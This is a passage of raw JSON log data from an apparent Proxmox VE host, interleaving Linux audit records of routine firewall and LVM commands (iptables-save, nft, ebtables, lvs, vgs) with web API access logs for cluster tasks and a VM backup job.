sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965608.668:66344): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63719 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965042407,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965865980,"@rawstring":"node=pve type=EXECVE msg=audit(1781965865.980:67423): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964245113,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.113:60203): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965874621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965874.621:67464): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64790 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965608662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965608.662:66341): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965041095,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965864578,"@rawstring":"node=pve type=EXECVE msg=audit(1781965864.578:67422): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964245106,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.106:60202): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965874603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965874.603:67461): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64789 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.335:66337): arch=c000003e syscall=59 success=yes exit=0 a0=62e9ce347d70 a1=62e9ce353f80 a2=62e9ce321680 a3=5 items=2 ppid=63710 pid=63716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965041095,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781965864568,"@rawstring":"node=pve type=EXECVE msg=audit(1781965864.568:67419): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964245100,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.100:60201): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965874473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965874.473:67458): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcd30 a1=64f8d73d5a10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.314:66336): arch=c000003e syscall=59 success=yes exit=0 a0=62e9c10ebac8 a1=7ffd3bf4f270 a2=62e9ce321680 a3=62e9c10cf24e items=2 ppid=63710 pid=63712 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965040101,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781965864346,"@rawstring":"node=pve type=EXECVE msg=audit(1781965864.346:67416): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964245096,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.096:60200): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965874442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965874.442:67457): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c2940 a1=64f8d6f88c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64785 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.312:66335): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd3bf4f230 a1=62e9ce343410 a2=62e9ce321680 a3=5 items=2 ppid=63710 pid=63711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965040101,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781965864307,"@rawstring":"node=pve type=EXECVE msg=audit(1781965864.307:67415): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964245093,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.093:60199): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965869597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965869.597:67456): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64784 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605301,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.301:66333): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965040101,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:19 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EEDD%3A00169B5A%3A6A36A0EE%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965039005&start=0&limit=510 HTTP/1.1\" 200 638"} {"@timestamp":1781965859559,"@rawstring":"node=pve type=EXECVE msg=audit(1781965859.559:67414): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964245092,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.092:60198): argc=1 a0=\"date\""} {"@timestamp":1781965869587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965869.587:67453): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.272:66332): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63709 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965040101,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965859551,"@rawstring":"node=pve type=EXECVE msg=audit(1781965859.551:67411): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964245086,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.086:60196): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965866122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.122:67450): arch=c000003e syscall=59 success=yes exit=0 a0=557be194fb20 a1=557be195ba30 a2=557be1929680 a3=5 items=2 ppid=64776 pid=64782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.263:66331): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63708 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965040101,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:19 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EEDD%3A00169B5A%3A6A36A0EE%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 231"} {"@timestamp":1781965855967,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.967:67408): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964245080,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.080:60195): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965866119,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.119:67449): arch=c000003e syscall=59 success=yes exit=0 a0=557bc773eac8 a1=7ffc7a209810 a2=557be1929680 a3=557bc772224e items=2 ppid=64776 pid=64778 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.254:66330): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63707 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965040101,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965855963,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.963:67407): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964245073,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.073:60194): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965866118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.118:67448): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc7a2097d0 a1=557be194b1c0 a2=557be1929680 a3=5 items=2 ppid=64776 pid=64777 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.246:66329): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965040101,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:18 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EEDD%3A00169B5A%3A6A36A0EE%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965038326&start=0&limit=510 HTTP/1.1\" 200 642"} {"@timestamp":1781965855962,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.962:67406): argc=1 a0=\"date\""} {"@timestamp":1781964245068,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.068:60193): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965866113,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.113:67446): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605242,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.242:66328): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5730568cc740 items=0 ppid=1156 pid=63705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965039090,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:18 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EEDD%3A00169B5A%3A6A36A0EE%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965038101&start=0&limit=510 HTTP/1.1\" 200 640"} {"@timestamp":1781965855957,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.957:67404): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964245062,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.062:60192): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965866106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.106:67445): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605240,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.240:66327): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc136080 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965039090,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:18 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EEDD%3A00169B5A%3A6A36A0EE%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965037869&start=0&limit=510 HTTP/1.1\" 200 746"} {"@timestamp":1781965855950,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.950:67403): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964245055,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.055:60191): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965866100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.100:67444): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.232:66326): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0eb350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63704 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965039090,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:18 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EEDD%3A00169B5A%3A6A36A0EE%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 205"} {"@timestamp":1781965855940,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.940:67402): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964244523,"@rawstring":"node=pve type=EXECVE msg=audit(1781964244.523:60190): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965866093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.093:67443): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.222:66325): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138c80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965039090,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:18 +0100] \"POST /api2/extjs/nodes/pve/vzdump HTTP/1.1\" 200 79"} {"@timestamp":1781965855932,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.932:67401): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964244494,"@rawstring":"node=pve type=EXECVE msg=audit(1781964244.494:60189): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965866085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.085:67442): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.215:66324): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecb50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965039090,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965855924,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.924:67400): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964243453,"@rawstring":"node=pve type=EXECVE msg=audit(1781964243.453:60188): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965866080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.080:67441): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6018a8cad740 items=0 ppid=1156 pid=64771 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965605206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.206:66323): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138c80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63701 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965037990,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1077"} {"@timestamp":1781965855917,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.917:67398): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964243443,"@rawstring":"node=pve type=EXECVE msg=audit(1781964243.443:60185): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965866078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.078:67440): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc100d70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64771 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605199,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.199:66322): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b3adb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63700 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965037990,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965855909,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.909:67397): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964238433,"@rawstring":"node=pve type=EXECVE msg=audit(1781964238.433:60182): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965866072,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.072:67439): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2c40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64770 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.189:66321): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63699 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965037990,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965855901,"@rawstring":"node=pve type=EXECVE msg=audit(1781965855.901:67396): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964238421,"@rawstring":"node=pve type=EXECVE msg=audit(1781964238.421:60179): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965866066,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965866.066:67438): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139e50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64769 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965605.182:66320): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965036979,"@rawstring":"::ffff:192.168.1.192 - 